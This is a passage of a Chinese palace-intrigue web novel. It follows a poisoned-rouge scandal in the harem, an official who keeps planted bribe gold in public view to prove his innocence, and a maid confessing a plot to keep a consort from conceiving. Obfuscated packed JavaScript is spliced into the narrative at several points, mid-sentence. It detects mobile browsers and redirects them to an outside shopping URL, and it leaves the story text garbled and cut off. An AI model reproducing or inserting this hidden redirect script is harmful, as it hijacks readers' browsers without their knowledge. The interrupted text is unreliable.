“皇后娘娘命人细查了。”肃月声音平稳，“在姜宝林妆台上一个装紫矿胭脂的掐丝珐琅盒里，找到了些异样粉末。太医院验过了，是落蕊香。” “落蕊香”三字一出，暖阁内的空气似乎凝滞了一瞬。 太后眉头微挑。落蕊香，那是前朝宫闱秘传的阴私之物，以砒霜为君，莪术为臣，药性酷烈，专损女子胞宫。 “姜宝林认了？” “自然不认。”肃月回禀，“姜宝林哭天抢地，指天发誓说那盒胭脂是兰婕妤身边的乌鸢送给她的，她根本不知里面掺了毒。” “哦？”太后搁下茶盏，瓷底与紫檀案几轻轻碰撞，发出清脆一响。 “郁嬷嬷带人搜了乌鸢的住处。”肃月继续道，“在她贴身衣物里，找到一包用了一半的落蕊香。” 瑞王听得入神，忍不住插嘴：“那乌鸢认罪了？” “认了。”肃月看了瑞王一眼，又转向太后，“乌鸢的爹娘兄弟都在康王府当差。事情查到这一步，她不敢再往上攀咬，只说是刚进宫时姜宝林给过她气受，她一时怀恨在心，才糊涂了心思，在兰婕妤送给姜宝林的胭脂里私下掺了药粉，想叫她……再不能生育。” 话音方落，殿外忽然传来急促的脚步声。 一名宫人匆匆入内，跪地禀报：“启禀太后，姜宝林……殁了。” 肃月一怔，连太后执杯的手都顿了顿。 “怎么回事？”肃月代太后发问。 那宫人额角渗出汗珠，声音发颤：“姜宝林的贴身侍女说，姜宝林今日宴前也用了那胭脂……太医验过了，说是用量太大，毒入肺腑，救不回来了。” 暖阁内一时死寂。 瑞王睁大了眼睛，小脸上满是困惑：“我怎么越听越糊涂了？那落蕊香不是掺在姜宝林的胭脂里吗？那二表姐怎么中毒的？姜宝林又怎么会……死了？” 太后没有回答，只将目光转向宫人：“此时，兰婕妤该醒了吧？” “是，方才已经醒了。”宫人禀道，“兰婕妤哭诉，她根本不知道乌鸢在胭脂里动了手脚。今日宴前，她也用了那盒胭脂匀面。太医也说，许是兰婕妤席间饮了酒，催发了药性，这才毒发得更快些。” 太后听完，忽然低低笑了一声。 那笑声很轻，却带着冰冷的嘲意，在温暖的暖阁里荡开，让人无端打了个寒颤。 “皇后怎么处置的？”她问。 “皇后娘娘已命人将乌鸢杖毙。”肃月顿了顿，“涉事宫人一律严惩。至于兰婕妤和姜宝林……一个中毒伤了根本，一个已香消玉殒，皇后娘娘说，此事便到此为止。” 太后挥了挥手，那宫人如蒙大赦，躬身退下。 待殿内只剩太后、瑞王与肃月三人，肃月才上前一步，欲言又止：“主子，这兰婕妤……经此一事，她既除了康王妃的人，又顺手料理了姜宝林，还将自己不能生育的隐患彻底掩了过去。奴婢担心……” 她顿了顿，谨慎道：“要不要奴婢再安排个妥帖的人，送到她身边去？” 太后没有立刻回答。 她缓缓靠回引枕上，目光落在窗外枯枝投下的影子，那些枝桠在寒风中轻轻摇晃，像极了某种无声的挣扎。 良久，她才开口，“不必了。” 她转眸看向肃月，眼中闪过一丝锐利的光：“传哀家口谕给康王——梅姨娘教导女儿有功，即日起扶为侧妃。让他好生照看着，莫要让兰婕妤担忧。” 肃月心头一凛，垂首应道：“是。” 她明白，这不仅是恩赏，更是警告。 瑞王在一旁听得云里雾里，只隐约觉得母后与肃月嬷嬷的话里藏着许多他听不懂的东西。 他挠了挠头，见太后又拿起书卷，便乖乖坐到一旁，翻开自己的功课，却一个字也看不进去。 暖阁内重归寂静，只有银丝炭偶尔爆出细微的声响。 窗外，天色渐渐暗了下来。初冬的暮色来得早，不过申时三刻，那点稀薄的日光便已悄然退去，只余一片沉沉的铅灰色，笼罩着这座深不见底的宫城。 宫灯次第亮起。吴全顺提着六角琉璃宫灯走在前面，昏黄的光晕在青石宫道上摇曳出一圈圈暖色的涟漪。 萧翊踏进临华宫正殿时，殿内只点了几盏烛台，光线有些昏暗。 他刚一跨过门槛，便听见夏清圆一声短促的惊呼—— “死了？！” 那声音里透着难以置信的惊悸，在寂静的殿内显得格外清晰。 “谁死了？”萧翊出声问道。 夏清圆正背对着殿门站在桌边，闻言猛地转过身，脸上还残留着未褪尽的惊讶。 见是皇帝，她慌忙曲了曲膝，草草行了个礼，随即快步上前，竟是直接抱住了萧翊的胳膊不撒手。 “皇上……”她仰起脸，神色倒不见上次那般惊惧，只是声音压得低低的，带着几分试探，“您的皇宫……是不是风水不大好？怎么接二连三地……” 后半句话她没敢说全，但意思已然明了。 萧翊垂眸看她，抬起另一只手，用指节在她额头上轻轻点了点，语气里带着几分调侃：“爱妃何时学会看风水了？” 他今日在御书房与几位大臣商议江陵学子状告南襄王一事，议了整整一个下午。 几人各执一词，吵得他头疼。 倒是夏翀，闷声不响听了半晌，却平地一声雷似的，提出了个极好的法子。 心情尚可，便顺路来临华宫用晚膳。谁料一进门，又撞上这等事。 萧翊目光扫过侍立一旁的吴全顺，语气沉了几分：“出什么事了？” 吴全顺躬身上前，将琉璃灯轻轻搁在一旁的高几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908787|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，这才垂首禀报：“回皇上，今日慈安宫宴上……出了些意外。兰婕妤中毒，太医抢救及时，性命无碍，只是……伤了根本，日后恐难有孕。” 他顿了顿，见皇帝面色未变，才继续道：“经查，是兰婕妤身边的宫女乌鸢在胭脂中掺了落蕊香。本是要害姜宝林，谁知阴差阳错，兰婕妤自己也用了那胭脂。姜宝林……因用量过大，未能救回，方才殁了。” 殿内一时静极。 萧翊没有说话，只站在原地，目光落在虚空某处，似乎在凝神思索。 夏清圆抱着他胳膊的手不自觉地收紧了些，连呼吸都放轻了，大气也不敢出。 良久，他才缓缓开口：“传朕口谕，姜宝林厚葬，准其家人祭奠。” “厚葬？”夏清圆忍不住轻声重复，眼底浮起疑惑。 她松开抱着萧翊胳膊的手，转而揪住他一片袖角，小心翼翼地问：“皇上……怎么也不赏赐点东西，安抚一下受罪的兰婕妤？她可是险些丢了性命，还……还再不能有孩子了。” 她说这话时，眉头微微蹙着，是真切的不解与同情。 萧翊这才将目光完全转向她。 她今日梳了个简单的垂鬟分肖髻，发间只簪了一支点翠蝴蝶翅簪，那薄如蝉翼的翅叶随着她说话的动作轻轻颤动，在烛光下折射出幽蓝的微光。 他盯着她眨巴眨巴的大眼睛看了片刻，最终却还是被那晃动的蝶翅分了神。伸手，将她鬓间的簪子轻轻摘了下来，握在掌心。触手微凉，金丝缠绕的脉络清晰可感。 “那……”他垂眼把玩着簪子，蝶翅在他指间轻颤，语气轻飘飘的，听不出什么分量，“圆圆明日替朕去探望兰婕妤吧。带些药材补品，代朕宽慰几句。” “臣妾就不了吧……”夏清圆一听，立刻缩了缩脖子，那模样活脱脱像极了夏翀在朝堂上被突然点名时的反应，带着几分本能般的退缩与为难，“兰婕妤刚经历这般大事，心情定然极差。臣妾笨嘴拙舌的，万一说错了话……” “这是圣旨。”萧翊打断她，声音依旧平淡，却带着不容置喙的意味。 他抬眼，将簪子重新插回她发间，动作随意，指尖却在她鬓边不经意般轻轻拂过。 夏清圆张了张嘴，终究没敢再反驳，只悻悻地垂下了头，盯着自己鞋尖上绣的缠枝莲纹发呆。 同一时刻，宫城之外。 夏翀顶着浓重的暮色，踏着青石板路往家走。初冬的夜风带着刺骨的寒意，吹得他官袍下摆猎猎作响。 他满脑子都还想着下午在御书房议的事——觉得自己是不是说多了？满屋子的老臣，他不该瞎提议的...... 心里揣着事，脚步便有些沉。待走到夏府所在的巷口，远远瞧见自家门檐下那两盏熟悉的灯笼时，他才稍稍松了口气。 一脚刚要踏进角门，余光却瞥见旁边阴影里似乎有什么东西——黑乎乎、方方正正的，堵在正门前的石狮子旁边，很是碍眼。 他脚步一顿，收了回来。侧过身，眯眼仔细瞧去—— 这一瞧，他整个人都僵住了。 只见夏府的黑漆大门前，赫然横着三口半人高的樟木箱子。 箱体厚重，木质沉暗，在门檐灯笼昏黄的光线下，泛着一种不祥的幽光。 夏翀心里“咯噔”一下，一股凉意顺着脊背窜上来，小碎步挪过去。 走到近前，他伸出微微发颤的手指，扣住最近一口箱子的铜扣，用力一掀—— “哐当”一声，箱盖向后翻开。 下一瞬，夏翀猛地倒退两步，险些被那骤然迸出的金光晃瞎了眼。 灯笼的光线流淌进去，映出一片惊心动魄的璀璨—— 三口大箱子里，满满当当，塞着的全是足有成人手掌大小的金锭子。码放得整整齐齐，在昏暗的光线下，依旧反射出沉甸甸、明晃晃、几乎要灼伤眼球的金色光芒。 那光芒太盛，太刺眼，将他脸上最后一点血色也彻底抽干了。 11. 清白 腊日的夜风卷着寒意，裴氏左等右等不见夏翀回府，心头那份从宫里带出来的不安愈发深重，索性拢了披风出门去迎。 远远便见自家黑漆大门前，一道穿着官袍的身影孤零零杵在风里，像棵被霜打蔫了的枯树。 “老爷？”裴氏快步上前，“站在这风口里发什么愣——” 话音戛然而止。 她看见了那三口半人高的樟木箱，更看见了箱盖大开后，满得几乎要溢出来的、沉沉的金色。 灯笼昏黄的光流淌在那些冷硬规整的棱面上，折射出令人心悸的、过于饱满的光泽。那不是富贵，是能把人活活压死的重量。 “诶呀！”裴氏捂住嘴，惊骇地后退半步，声音都变了调，“这、这是哪来的？！” 夏翀没回头，也没应声。他仍维持着那个僵硬的姿势，抱着脑袋蹲在箱子前，官袍下摆在风里瑟瑟地抖。 那双平日里总是温吞含笑的眼里，此刻空茫茫的，映着一片晃动的、刺眼的金。 “你倒是说话啊！”裴氏急得去扯他袖子，指尖触到他冰凉的腕骨，心直往下沉——这绝不是好来路的东西。 恰是腊日，宵市将开。远处隐隐传来人声与鼓乐，是“逐夜鬼”的游街队伍开始聚集。 长街上人影渐稠，灯笼的光晕在青石板路上拖出一道道流动的暖色。 已有零星路人朝这边投来好奇的目光。 裴氏一个激灵，猛地合上箱盖。“啪、啪、啪”三声闷响，隔绝了那灼人的光。 她压着嗓子急唤身后跟着的仆役：“快！都愣着做什么？把箱子抬进府里去！” “——不能动！” 一直沉默的夏翀骤然弹起来，声音嘶哑得厉害。他张开手臂，几乎是扑过去挡在箱子前，动作大得带起一阵冷风。“谁也不许碰！” 他转向裴氏，眼白里拉满血丝：“现在什么时辰了？” “戌、戌时六刻了。” “宫门下钥了……”夏翀喃喃，肩背肉眼可见地垮了一瞬，“面圣……来不及了。” 他猛地抬头，眼底骤然迸出一丝孤注一掷的光：“去大理寺！”他对缩在一旁的管家吼道，“你现在就去大理寺衙门报案！” 老管家慌慌张张应了声，转身就跑。 “等等！”夏翀又急急喊住，夜风灌进他喉咙，呛得他咳嗽两声，将身上的官牌扔给管家，“不……别去衙门。你去大理寺卿向大人的府上，就说我夏翀有十万火急之事，务必请他亲自带人过来！” 裴氏见他脸色青白交加，忙将带来的厚斗篷披在他肩上，声音放软了劝：“老爷，这是风口，仔细冻着。咱们……先进府里等吧？” “不能进府！”夏翀一把攥紧斗篷边缘，指节绷得发白，声音却异常坚决，“这东西，今夜绝不能踏进我家门槛一步！” 他惶急的目光扫过街面，倏地定住——斜对面，禁军统领赵羯府邸的门匾，在灯笼光里清晰可辨。 像是抓住了救命稻草，夏翀裹紧斗篷，几乎是一溜小跑着冲过街道。站定在赵府那对威严的石狮前，他深吸口气，对闻声开门的门房拱手，语气竭力维持平稳： “劳烦通禀，翰林院夏翀，有急事求见赵统领。” 门房见他官袍整齐，神色虽仓皇却非歹人，客气地一揖：“夏大人稍候。” 不多时，赵羯便大步流星地出来了。他一身家常靛蓝绸衫，未着铠甲，眉宇间却仍带着武人特有的利落劲儿。“夏老大人？” 他有些意外，旋即爽朗一笑，“稀客啊！快请进——” “不敢叨扰。”夏翀连连摆手，脸上因急切和羞愧泛起一层薄红，“实有不得已之事，想请赵统领……移步寒舍门前一看。” 赵羯见他神色凝重，不似寻常寒暄，便收了笑意，点头：“好。” 待二人走回夏府门前，赵羯的目光落在那三口紧闭的樟木箱上，眉头微蹙。夏翀深吸一口气，上前，再次掀开了箱盖。 刹那间，金光流泻。 赵羯瞳孔骤缩，脸上的轻松瞬间褪尽，化为一片沉冷的肃然。他缓缓转向夏翀，声音压低了，却字字清晰：“老大人，要赵某如何做？” 夏翀深深一揖到底：“不敢劳动统领。只求您……在此处站上一站。明日若需面圣陈情，万望统领能为夏某今日之境况，做个见证。” 赵羯瞬间了然。他看着眼前这位头发花白、官袍被风吹得凌乱的老翰林，眼底掠过一丝不易察觉的赞许——这是把自己和赃物一同摆在明处，以最笨拙也最干净的方式，自证清白。 “夏大人思虑周全。”赵羯抱拳，沉声道，“赵某义不容辞。” 两人便这般一左一右，如同两尊门神，默然立于那三箱夺目的金子旁。夜风愈寒，远处逐夜的鼓点隐隐传来，衬得此间愈发寂静紧绷。 一炷香后，管家独自气喘吁吁地跑回，身后空无一人。 “老爷……”他抹了把汗，喘着气道，“大理寺衙门……今日腊日，人都上街维持秩序去了，只剩几个值守的吏目，做不得主！” “向大人呢？向府可去了？” “去了！向府的人说，向大人今日休沐，身子不适，早早便歇下了，实在……不便见客。” 夏翀听完，一直微微佝偻的脊背，反而缓缓挺直了些。灯笼的光将他眼底那最后一丝惶惑照得清晰，随即沉淀为一片冰冷的了然。 他明白了。这不是寻常的贿赂，这是一场针对他“阅卷官”身份的精准狙击—— 这三箱金子不是财富，是枷锁，是火炭。只要今夜它们与“夏府”产生任何实质关联，明日，弹劾他“受贿鬻题”的奏章便会雪片般飞向御案。 届时，纵使皇帝信他，为了平息士林舆论，也必得重罚。 “我去向府！便是闯，也要把向大人‘请’来！”赵羯眉峰一拧，转身便要走。此事必须立刻移送有司，绝不能在此过夜。 “——赵统领留步！” 夏翀的声音却平静下来，那是一种破釜沉舟后的奇异镇定。他先吩咐管家：“去，到御史府，请宋方程宋大人速来。” 言罢，他转向赵羯，再次郑重拱手，夜风吹起他花白的鬓发：“会试在即，夏某身负皇恩，为主阅卷，不敢有丝毫行差踏错，玷污科场清名。如今事急从权，不得不将这丑事摊于光天化日之下，以证清白。些许颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他目光扫过人群，尤其在那几个书生打扮的年轻人脸上停留一瞬，“夏某不敢令此污物沾身，更不敢令其玷污科场圣洁！故在此，恳请诸位，为夏某做个见证——” 他侧身，让那满箱金光完全暴露于众目睽睽之下，声音掷地有声：“自此刻起，夏某便与这三箱金子，一同守在此处！直至明日卯时上朝，夏某将亲携此物，面呈圣上，奏明原委，请圣上裁断！此间若有分毫落入夏某私囊，夏某愿受千夫所指，国法严惩！” 恰在此时，宋方程急匆匆赶到，官袍都未来得及整理齐整。 夏翀目光与他相接，心中一定，朗声续道：“今夜事发突然，大理寺公务繁忙。然纲纪之事，不可耽延！故夏某斗胆，在此恳请禁军赵统领、御史台宋御史，两位大人共同为证，监察此物，监察夏某！待明日面圣，夏某定当恳请陛下彻查此事，严惩不贷，还科场一个清白，还天下学子一个公道！” 人群先是寂静，随即爆发出更大的声浪。惊诧、敬佩、怀疑、议论交织。 忽然，人从中挤出三个青衫学子，拱手高声道：“学生邓书满！”“学生刑录！”“学生韩孝闻！” 三人齐声道：“愿在此与夏大人一同守夜，护卫科场清誉，以正视听！” 夜风呼啸，卷动街边的旗幡。夏翀立于璀璨金光与沉沉夜色之间，对着那三名素不相识的书生，郑重地、缓缓地，回了一揖。 12. 卒子 腊日亥时三刻，坊门关闭的鼓声早已响过，宵禁的寂寥彻底吞噬了街市的热闹。 夏府门前围观的人群早已散去，只余满地狼藉的脚印与几盏在寒风中飘摇的孤灯。 夏翀的姿态已与傍晚时截然不同——那股文人固有的温吞谦和褪去了，取而代之的是一种被逼到绝境后迸发出来的、带着棱角的威严。对那些仍不死心在远处窥探的好事者，他的回应简洁而冷硬，每个字都像在寒风里淬过。 大理寺的巡夜衙役来过两拨，只在门口草草张望便离去。赵羯盯着他们消失在街角的背影，冷哼一声，拳头在袖中攥紧。 裴氏指挥仆从架起炭炉，又取出几件厚棉袍给那三个书生披上。炭火的红光映着众人的脸，门口竟生出几分诡异的暖意，仿佛这不是在守着一堆烫手的金子，而是围炉夜话。 宋方程本就清癯，不耐久冻，不过一个多时辰，便搓着手对裴氏苦笑道：“嫂夫人，可否劳烦府上煮些热汤面来？一来驱寒，二来……” 他瞥了一眼身旁面色沉静的夏翀，“我与夏兄从宫中出来便未进粒米，腹中实在空空如也。” 裴氏恍然，忙转身回府张罗。 夏翀瞥了眼宋方程，从鼻间轻哼一声，语带讥诮：“懒驴上磨。” 宋方程知他这闷气是冲着装聋作哑的大理寺，也不恼，反倒捋须一笑：“依我看，此番未必是祸事。” 邓书满、刑录、韩孝闻三人闻声围拢过来。 夏翀未接宋方程的话，转而细细问起三人的籍贯、师承与备考心得。 邓书满秉性憨直，刑录面容肃穆，韩孝闻则眉眼活络，善于察言观色。 三人交换过眼神，最终由刑录上前一步，对夏翀与宋方程深深一揖：“学生有一事积郁心中已久，今日得遇二位青天，冒昧请教。” 夏翀虽是被强推上主考之位，但既在其位，便对这“抡才大典”倾注了全副心神，当即正色道：“但讲无妨。” “敢问大人，”刑录抬起头，目光灼灼，开门见山，“‘行卷’于今科取士，究竟影响几何？” 夏翀与宋方程对视一眼，彼此都看见对方眼底的了然与凝重。他们皆科举出身，何尝不知“行卷”二字的千钧之重—— 本朝科举不糊名，考生考前将诗文投献权贵名流，借“公荐”之名投献权贵名流，提前博取声名。 主考官一瞥之间，或许就定了寒窗十年生死。寒门学子无金银开路、无人脉攀附，便只能眼睁睁看着机会流逝。 韩孝闻唯恐同窗言辞过于直白，连忙躬身补充：“学生三人皆出身寒微，实无资财门路行此道，心中难免忐忑，故有此一问。” 若是谢停云在此，定会说些“朝廷取士唯才是举”的官面文章，将话题轻巧带过。 可今夜站在这里的，偏偏是夏翀这块又臭又硬的石头，和宋方程这把宁折不弯的刀子。 夏翀尚未开口，宋方程已沉声问：“可是遇见了什么不公之事？” “不敢、不敢……”韩孝闻还想圆场，却被邓书满打断了。 这憨直书生像是憋了太久，话匣一开便收不住：“如此考法，成绩倒有大半取决于考场外的钻营交际！许多真才实学者因不善此道而名落孙山，巧言令色之徒却可凭人脉青云直上。长此以往，科举打破门阀之初心，岂不成了一纸空谈？” “书满！”韩孝闻急得额头冒汗。 刑录却接着，眉头拧成死结：“行卷本为展才，如今却成士子四处奔走、谄媚权贵之途。学生等提前半载入京，所见尽是暗中输送、利益勾连——” 他侧目瞥向那三口箱子，声音更冷，“此风腐蚀士林，更蛀空朝堂根基！” 韩孝闻偷眼去瞧夏翀与宋方程的脸色，只觉得后背冷汗涔涔。 邓书满却愈说愈激愤：“若以此道取士，座主门生结成朋党，朝堂岂非沦为私利战场？届时谁还顾得上百姓疾苦、边疆安稳？国将不国！” 夏翀勃然变色。他早知行卷弊病深重，却未想到在学子中已积怨至此。 “简直荒谬！”他胸中一股郁气直冲顶门，正要痛斥—— “哐当！” 宋方程手中的茶盏忽然翻倒，半盏残茶泼湿前襟。几人慌忙上前擦拭，一阵忙乱恰好截住了夏翀的话头。 “面好了。”裴氏适时出现，朝三名学子招手，“夜还长，先用些热食暖身。” “不敢叨扰……”三人连声推辞。 “去去去，夜还长着呢。”宋方程挥袖赶人，又对赵羯道，“赵统领也先去用饭，老夫在此陪夏兄守着。” 赵羯会意，抱拳一礼，随裴氏转入府内。 待四周只剩炭火噼啪声，夏翀猛地转头盯住宋方程：“你方才是什么意思？” “那三人所言确是积弊，”宋方程掸着衣襟上的茶渍，声音压低，“但非你我此刻能解。先帝在时，年年有学子伏阙上书，年年不了了之。今科是皇上登基后首试，圣意未明，你身为阅卷官，当与上同频，不可妄言。” “我看你是越老骨头越软了！”夏翀冷笑，“皇上既选我为阅卷官，正是要革除积弊、肃清科场！” “是，也不全是。”宋方程摇头，“你可知我为何说今夜未必是坏事？” “自然是在科举前揪出魑魅魍魉，以儆效尤。” “为近臣者，不可只见一事。”宋方程目光深邃，“明日面圣，若皇上决意严查，你便趁机将那三人所言行卷之弊奏陈，附上革除之策；若皇上只作寻常处置……你便闭嘴。” 夏翀恍然，心思却如脱缰野马，骤然挣脱了“行卷”、“科场”的桎梏，奔向他连日来辗转反侧的深忧巨壑—— “方程，”他声音干涩，像被砂纸磨过，“你说……皇上锐意削藩，整顿朝纲，是否……早将我夏家，视为一枚过河之卒？” 这念头一旦浮起，便再难按下。 短短数月，夏家从闲散边缘被猛然推入风暴中心：他被迫留任阅卷官，女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908789|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入宫为妃，儿子被剥夺考试资格，如今更有人深夜栽赃。每一步都像是精心算计好的落子。 而卒子的宿命，从来都是牺牲。 宋方程并不惊讶他有此一问。 夏翀的软肋太明显——家人。 皇上也是掐准这一点，用夏清圆将他绑在朝堂。可这也让夏翀方寸大乱，未能发挥出帝王期待的锋芒。 此刻劝慰无用，唯有—— “满朝朱紫，谁不是帝王掌中卒？”宋方程迎着老友惶惑的目光，忽然朗声大笑，“然卒子亦可为弈者手中无名刃！看似只能赴死的前驱，实则是刺穿僵局的第一道寒光！” 与此同时，重重宫墙之内的临华宫，夏清圆也未得安枕。 亥时初，萧翊不知得了什么急报，只对吴全顺低语几句，便起身匆匆离去，玄色披风在殿门外一卷即没，未留只言片语。 夏清圆独坐暖阁灯下，对明日“探望兰婕妤”的差事愁肠百结—— 段云柔那双秋水含愁的眸子总在眼前晃，晃得她心烦意乱。 目光扫过书架，忽地想起舅母范氏离宫前悄悄塞给她的那份名录—— 她转身从多宝阁隐秘处取出，就着烛光再次展开。泛黄的宣纸上，蝇头小楷记录着十数个名字与简略职司，皆是裴家昔年在太医院时经营留下的、可信赖的旧关系。 其中一个名字跳入眼帘：周全，太医院药房抓药太监。 心思一转，她唤来在外间值守的荔枝，假称自己午后便有些头晕乏力，恐是白日吹了风。 “你去太医院，悄悄寻一个叫周全的抓药太监来，只说本宫有些妇人调理的细处要私下问问，莫要声张。” 荔枝心领神会，应声而去。 等待的间隙，夏清圆铺开一张素笺，将名录上的信息重新整理。 她心思渐稳，提笔蘸墨，按照“太医”、“宫女”、“内侍”、“杂役”等分门别类，将人名与关联誊抄清楚。 每抄完一类，便寻一本不甚起眼的话本，将对应的纸笺仔细夹入书页深处。 做完这些，她将原先那张记满人名的原笺，就着摇曳的烛火燃尽。 刚抬首舒了口气，忽见窗纱上，一道修长的人影倏然掠过—— “谁？！”她心头一凛，警觉低喝，猛地推开紧闭的菱花格扇门。 廊下月色凄清如霜，映得庭院里假山竹影幢幢。 只见那身着靛蓝宫衣、腰系素色围裙的熟悉身影，正垂手恭立在廊柱阴影下，面容被月光照得半明半暗，不是日日在小厨房忙碌的锦娘，又是谁。 “锦娘？”夏清圆蹙眉，心中疑窦顿生，“这般时辰，你在此作甚？” 锦娘缓缓抬首，平日里总是低眉顺目的脸上，此刻却是一片沉静的坦然。 她未直接回答，反而屈膝行了一礼，声音平稳无波，却让夏清圆耳中微微一震：“奴婢见娘娘宫中烛火未熄，恐娘娘为明日之事忧心。奴婢……或有一言，可禀娘娘。” 13. 夜谈 临华宫书房仅点了一盏琉璃灯，光影昏黄绰约，锦娘跪在下首，脊背绷得像一张拉满的弓。 “奴婢开口前，请娘娘答应奴婢一个条件。” “这是怎么话儿说的。”夏清圆手肘支在紫檀案几上，腕间金镯在摇曳灯影下流转着暗沉的光，让人辨不清她神情。 嗓音依旧轻软，却透着一层薄冰似的疏离：“既是你主动开口，便是有求于我，何时成了我欠你一个条件？” “下面的话，奴婢若是说了，便再无回头路。”锦娘额角渗出细密的汗珠，喉头滚动，似咽下千斤重的恐惧，“锦娘先求娘娘……保奴婢阖家平安。” 夏清圆倏然眯起眼，暖炭熏出的朦胧睡意瞬间消散殆尽。 锦娘是她入宫时，皇后宫里郁嬷嬷送来的人。 如此推算——“此事与皇后娘娘有关？” “奴婢本姓林，父母原是冯国公府庄子上的佃户。”锦娘声音发紧，每个字都像从齿缝里挤出，“文德二十二年，京城遭百年不遇的蝗灾，农田颗粒无收，佃户更是难熬……父母都在那年饿死了。奴婢与弟妹流落街头，恰逢太医裴府开棚施粥，才捡回一条命。” “竟是如此。”夏清圆眼底的防备略略松缓，颔首道：“医者仁心。外祖家兴旺时，确常接济穷苦百姓，这是善缘。” 她不再多言，只静静等着下文。 “父母去后，弟妹随叔婶继续在冯国公府的田庄讨生活。奴婢年岁渐长，便在府中选丫鬟时入了冯国公府做事，贴补家用。”锦娘语速渐稳，像在复述一篇背熟的文章，“奴婢在厨房当差，跟着掌灶的婆子学了几年药膳调理的手艺。” 她顿了顿，声音更低：“九年前，皇后娘娘初有身孕，冯国公府遴选可靠人手入宫侍候。奴婢因身家清白，又通药膳，便被选入凤仪宫小厨房。” “你既与皇后娘娘的母家有这般渊源，”夏清圆指尖轻轻叩着案沿，“为何又在本宫面前说这些？” “奴婢在凤仪宫……并不受重用。”锦娘垂下眼帘，阴影覆住半张脸，“始终只在小厨房做些打杂的活计，连正殿的边都挨不着。” “郁嬷嬷为临华宫遴选人手时，奴婢得知主子您是裴家的外孙女，”她忽然抬起头，眼中迸出一丝微弱却真实的光，“一心感念裴老太医当年的活命之恩，也想为自己搏个前程，这才……主动求了郁嬷嬷来此。” “只是……”话音陡转，她双手死死扣住织锦地毯，指节绷得发白，忽然重重叩首，“裴家对奴婢有再生之德，奴婢不敢做恩将仇报之事，此为其一！其二……求娘娘救奴婢全家性命！” “恩将仇报？”夏清圆心下一沉。 “娘娘晋封昭媛那日，”锦娘的声音压得极低，却字字如针，刺破暖阁里虚假的安宁，“皇后娘娘命奴婢……利用食材相克之理，于日常膳食中动手脚，务求隐蔽…...暂不使娘娘有孕。” 夏清圆背脊蓦地窜上一股寒意，脑海中闪过皇后那张永远端庄含笑的脸。 可若细想……皇后确有理由这么做。 她是中宫，膝下已有皇子，自然不愿见宠妃过早诞育子嗣，尤其是一个晋升飞快、父亲风头正劲的新宠。 心里已信了七八分，面上却仍不动声色：“你要我如何信你？” “奴婢弟弟林世安有几分聪敏，由叔婶供着读书，去岁本已通过乡试，即将赴京会考。”锦娘喉头哽咽，泪水滚落，“可冯国公府看中了他的才学，威逼利诱，强令他……替国公府二公子做枪手，代笔应试。” “冯国公府青黄不接，为保门楣不堕，国公爷想尽法子要让二公子通过科举入仕。” 她抬起泪眼，“娘娘若不信，尽可去查——我弟弟林世安的名字，根本不在今科会试的名单上！” 夏清圆默然。这谎言太容易被戳穿，锦娘不会蠢到用如此拙劣的借口。 “你叔婶与妹子，”她轻声问，“都被扣在冯国公府手里？” “是。”锦娘泪流满面，“扣留家眷为质，是冯国公府驱使下人的惯用手段。冯家早已江河日下，却还要强撑皇后母家的体面，开销甚巨。他们不愿以钱帛诱人，只用这般阴毒法子，逼人为他们卖命……” “起来吧。”夏清圆听见外间传来荔枝细微的脚步声，抬手示意，“此事不急在一时，容我细想。你在皇后面前，一切如常便是。” 锦娘颤巍巍起身，刚拭去泪痕退至门边，便与匆匆进来的荔枝擦肩而过。 荔枝掀帘进来，留意到眼眶通红的锦娘，目中闪过一丝疑惑，却未多问，只低声道：“小姐，周全已在院中等候。” “奴婢打听过了，此人在太医院当差近十年，因俸禄微薄又不善钻营，始终是个末等的抓药太监。一听是您寻他，立时便想到了裴家，很是恭敬。路上奴婢与他略谈了几句，他说话谨慎，想来并非阿谀之辈。” 夏清圆微微颔首。舅母举荐的人，她自是信得过的。 “奴才周全，叩见婉昭媛。” 一个身着靛蓝旧袍、面容朴实的太监躬身入内，未等夏清圆开口便主动道：“奴才早年受裴老太医照拂，一直感念在心。婉主子若有吩咐，奴才定当竭力。” 锦娘方才的话犹在耳畔，夏清圆心中戒备未消，只温和道：“舅母早前来时，特意提起你，赞你人如其名，办事稳妥。” “正巧，我宫里还缺个掌事的太监。与其用外面不知根底的人，不如将这个位子给你。” “以本宫如今的位份，提拔你，不算逾矩。” 周全猛地抬头，几乎被这突如其来的恩典砸得眩晕——从二品昭媛宫里的掌事太监，那可是正四品的职衔！ 俸禄、体面，与他从前在太医院角落抓药的日子相比，不啻云泥之别。 他怔了好一会儿，才重重叩首，声音发颤：“奴才……谢娘娘抬举。只是奴才位卑识浅，于后宫人际更是一窍不通，只会些抓药分剂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 